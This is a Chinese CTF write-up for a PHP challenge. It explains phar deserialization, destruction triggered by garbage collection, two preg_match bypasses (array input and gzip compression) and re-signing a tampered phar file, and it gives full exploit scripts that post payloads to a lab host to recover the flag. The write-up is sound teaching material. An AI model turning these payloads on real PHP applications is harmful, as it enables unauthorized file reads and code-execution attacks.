膜拜大佬^ ^ Xenny,prize1
一来就是重量级,涉及知识点很多,花了几个小时,真的学到了很多很多,细思极恐,简直细到极致,真不错。这里简单记录一下,后面还有prize2-5
,慢慢感悟吧。
涉及知识点:php代码审计、phar反序列化、GC机制、preg_match绕过、phar files format
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php highlight_file(__FILE__); class getflag { function __destruct() { echo getenv("FLAG"); } }
class A { public $config; function __destruct() { if ($this->config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } } } if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) { die("我知道你想干吗,我的建议是不要那样做。"); } unserialize($_GET[0]); throw new Error("那么就从这里开始起航吧");
|
主要为两个类,A和getflag,A类用来写文件和读文件,也就是file_put_contents和file_get_contents,联系到后面的unseralize可以想到这里一个考点是写入一个phar文件,触发getflag的destruct,再利用file_get_contents读出内容,getflag类显然是用来读取我们的flag,也就是触发类中的__destruct析构函数。那么要如何触发两个类中的destruct析构函数呢?
析构函数本身是php的自定义魔法函数,当对象被销毁时自动调用,在下面几种情况下destruct会被自动调用:
- 生命周期结束,即程序执行完
- 主动设置为null
- 主动unset
还有一种情况是gc垃圾回收机制,在php中,当创建的对象变量未被引用时,就会在最后被捕获回收。GC垃圾回收机制是面向对象编程的一个概念,在php,java中都存在,主要是为了消除程序在这个过程中产生的‘垃圾’,能够销毁内存空间,防止内存溢出。
像new A()
和 $a=new A(); $a=new A()
都是属于变量未被引用,导致gc回收。
例如:
1 2 3 4 5 6 7 8 9
| <?php class A{ function __destruct() { echo "__destruct"; } } new A(); echo " lemono";
|
输出: __destruct lemono
声明的对象未被引用,则会被gc机制回收,所以在输出lemono之前就被回收了,而不是输出在lemono之后。
同样,这样一段代码:
1 2 3 4 5 6 7
| class obj { function __construct($i) {$this->i = $i; } function __destruct() { echo $this->i."Destroy...\n"; } } new obj('1'); $a = new obj('2');$a = new obj('3'); echo "————————————\n";
|
他的输出应该是:
1 2 3 4
| 1Destroy... 2Destroy... ———————————— 3Destroy...
|
如果看懂的话就应该知道为什么这里应该是这样输出了。
这道题的另一个关键点是代码中的最后一句话,throw new Error("那么就从这里开始起航吧");
异常处理机制,当程序遇到异常时,就会中断整个程序的执行,也就不会执行我们上面的destruct函数,所以这里需要想办法绕过异常处理。
第一步:
先尝试写入phar文件,传入O:1:"A":1:{s:6:"config";s:1:"w";}
,因为反序列化语句是 unserialize($_GET[0]);
反序列化后的对象是处于unset状态的,未被引用,这也直接导致会执行destruct。
本地生成一个phar文件:
1 2 3 4 5 6 7 8 9 10 11
| <?php class getflag { } $phar = new Phar("le.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new getflag(); $phar->setMetadata(array(0=>$o,1=>null)); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
在源码中,会对写入的data数据过滤,preg_match过滤了很多关键字,而反观我们生成的phar文件数据中,是存在getflag
字样的,所以需要想办法绕过他。

这里大致有两种方法:
- 数组绕过:因为preg_match 是不支持处理数组的,当遇到数组时直接返回false,而file_put_contents又支持数组,这里就成功绕过并且写入了文件;
- 压缩文件绕过:原理参考guoke师傅的文章分析:https://guokeya.github.io/post/uxwHLckwx/ ,结论就是通过gzip、bzip2、tar、zip压缩我们的phar文件后,通过phar协议同样能够读取并解析,且里面的数据区域不再是存在明文字样而是乱码,这也使我们巧妙的绕过检测。

第二步:
到了这一步,又有一个问题:写入的phar文件要如何执行destruct析构函数读取flag呢?
这就要用到刚才讲的GC机制了。在phar文件中,把序列化后的字符串拿出来a:2:{i:0;O:7:"getflag":0:{}i:1;N;}
,是数组的形式,因为刚才在序列化时,setMetadata设置为array,也是为后面做准备。这里想要getflag对象执行destruct函数,就需要用到讲到的方法,unset该对象,当该对象未被调用时就会被GC回收,所以就需要手动改成 a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
,重复将a[0]覆盖为null,就成功了。
第三步:
虽然刚才通过更改phar文件的内容,使其能够触发析构函数,但是执行这个动作的同时也带来了新的问题,phar文件是有签名的,phar文件与其他文件类似,会对文件的内容进行signature签名,保证文件内数据未被更改和损坏,具体可看php文档:

其中说到会有20byte的SHA1 signature,所以我们更改数据后肯定是对不上的,因此还有一步是重新计算签名算法。
python脚本:
1 2 3 4 5 6 7 8 9 10
| from hashlib import sha1 with open('le.phar','rb') as f: text=f.read() body=text[:-28] sign2=text[-8:] sign1=sha1(body).digest() phar=body+sign1+sign2 with open('le1.phar','wb') as f1: f1.write(phar) print("OK!")
|
走到这里就差最后一步了,绕过preg_match检测,一共两个方法:
数组绕过:
给出最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests import re
url="http://1.14.71.254:28393/"
with open("le1.phar",'rb') as f: data1={'0[]':f.read()} param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'} p1 = requests.post(url=url, params=param1,data=data1)
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'} data2={0:"phar://tmp/a.txt"} p2=requests.post(url=url,params=param2,data=data2) flag=re.compile('NSSCTF\{.*?\}').findall(p2.text) print(flag)
|
压缩文件绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import re import requests import gzip url="http://1.14.71.254:28393/"
with open('le1.phar','rb') as f: zip=gzip.open('phar.zip','wb') zip.writelines(f) zip.close()
zip1=open('phar.zip','rb') param1={0:'O:1:"A":1:{s:6:"config";s:1:"w";}'} data1={0:zip1.read()} requests.post(url=url,params=param1,data=data1)
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'} data2={0:"phar://tmp/a.txt"} res=requests.post(url=url,params=param2,data=data2) flag=re.compile("NSSCTF\{.*?\}").findall(res.text) print(flag)
|
刚开始跟着wp做的时候,感觉很难,属于是边学边看,现在写到这里后发现这道题其实也没那么难了,但是里面的知识点还是值得继续深入。